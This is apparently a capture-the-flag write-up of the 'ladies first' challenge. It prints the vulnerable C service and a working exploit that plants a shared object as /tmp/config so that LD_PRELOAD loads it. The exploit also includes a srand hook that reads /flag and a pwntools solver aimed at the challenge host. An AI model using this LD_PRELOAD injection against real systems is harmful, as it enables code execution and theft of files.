Misc
function hook, LD_PRELOAD
ladies first (490 pts)
Description
Chivalry is dead.
To build locally, run sudo docker build -t ladies . sudo docker run -p 1337:5000 --privileged -d ladies then to connect, run nc localhost 1337
Solution
Given following source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
const char *names[] = {
"Alice", "Sophia", "Emma", "Olivia", "Isabella",
"Mia", "Charlotte", "Amelia", "Harper", "Evelyn"
};
#define NAMES_COUNT (sizeof(names) / sizeof(names[0]))
void append_name(const char *var) {
char *val = getenv(var);
if (!val) {
printf("%s not set\n", var);
return;
}
const char *name = names[rand() % NAMES_COUNT];
size_t newlen = strlen(val) + 1 + strlen(name) + 1;
char *newval = malloc(newlen);
if (!newval) {
perror("malloc");
exit(1);
}
snprintf(newval, newlen, "%s_%s", name, val);
setenv(var, newval, 1);
printf("%s\n", getenv(var));
free(newval);
}
int main() {
srand(time(NULL));
append_name("v1");
append_name("v2");
append_name("v3");
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#define FILENAME "/tmp/config"
#define MAX_FILE_SIZE 16 * 1024
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
void receive_file() {
FILE *f = fopen(FILENAME, "wb");
if (!f) {
perror("fopen");
exit(1);
}
char buf[4096];
size_t total = 0;
size_t n;
while ((n = fread(buf, 1, sizeof(buf), stdin)) > 0) {
total += n;
if (total > MAX_FILE_SIZE) {
fwrite(buf, 1, n - (total - MAX_FILE_SIZE), f);
break;
}
fwrite(buf, 1, n, f);
}
fclose(f);
}
char **get_config_envp() {
FILE *f = fopen(FILENAME, "rb");
if (!f) {
perror("fopen");
exit(1);
}
size_t cap = 32;
size_t count = 0;
char **envp = malloc(cap * sizeof(char *));
if (!envp) {
perror("malloc");
exit(1);
}
char line[4096];
while (fgets(line, sizeof(line), f)) {
char *eq = strstr(line, " = ");
if (!eq) continue;
char *newline = strchr(line, '\n');
if (newline) *newline = '\0';
*eq = '\0';
char *var = line;
char *val = eq + 3;
size_t len = strlen(var) + 1 + strlen(val) + 1;
char *entry = malloc(len);
if (!entry) {
perror("malloc");
exit(1);
}
snprintf(entry, len, "%s=%s", var, val);
if (count + 1 >= cap) {
cap *= 2;
envp = realloc(envp, cap * sizeof(char *));
if (!envp) {
perror("realloc");
exit(1);
}
}
envp[count++] = entry;
}
fclose(f);
envp[count] = NULL;
return envp;
}
int main() {
printf("Welcome to our service! Give us some variables and we will ladify them!\n");
receive_file();
char **envp = get_config_envp();
printf("Calculating new values...\n");
char *argv[] = {"./calc", NULL};
execve("./calculator", argv, envp);
perror("execve");
exit(1);
return 0;
}
Above program basically do the following behaviour
Read data from user
Write data to /tmp/config
Read data from /tmp/config and load is as environment
By looking at this flow we know that we can leverage it to RCE by utilizing LD_PRELOAD. Following is the idea
Create environment LD_PRELOAD = /tmp/config
We can create fake section in ELF
Create library (.so file) with function called by "calculator", e.g srand
By creating function srand in .so file and loaded it with LD_PRELOAD we will force calculator executable to use srand from our .so file
So just put read flag in srand and then we will get the flag
Another part of challenge is we need to find correct length to trigger EOF of read process so the binary will continue to execute calculator, we can easily brute it. Following is our final solver
from pwn import *
io = remote("challenge.secso.cc", 7006)
LENGTH = 46409
data = open("srand_hook.so", "rb").read()
data += b"\x00" * (LENGTH - len(data))
io.send(data)
io.shutdown('send')
print(io.recvall(timeout=100).decode(errors="ignore"))
// srand_hook.c
#include <fcntl.h>
#include <unistd.h>
void srand(unsigned int seed) {
int fd = open("/flag", O_RDONLY);
if (fd >= 0) {
char buf[4096];
ssize_t n;
while ((n = read(fd, buf, sizeof buf)) > 0) {
(void)write(1, buf, n);
}
close(fd);
}
}
__attribute__((section(".note.cfg")))
static const char cfg_lines[] =
"\n"
"LD_PRELOAD = /tmp/config\n"
"v1 = a\n"
"v2 = b\n"
"v3 = c\n";
Last updated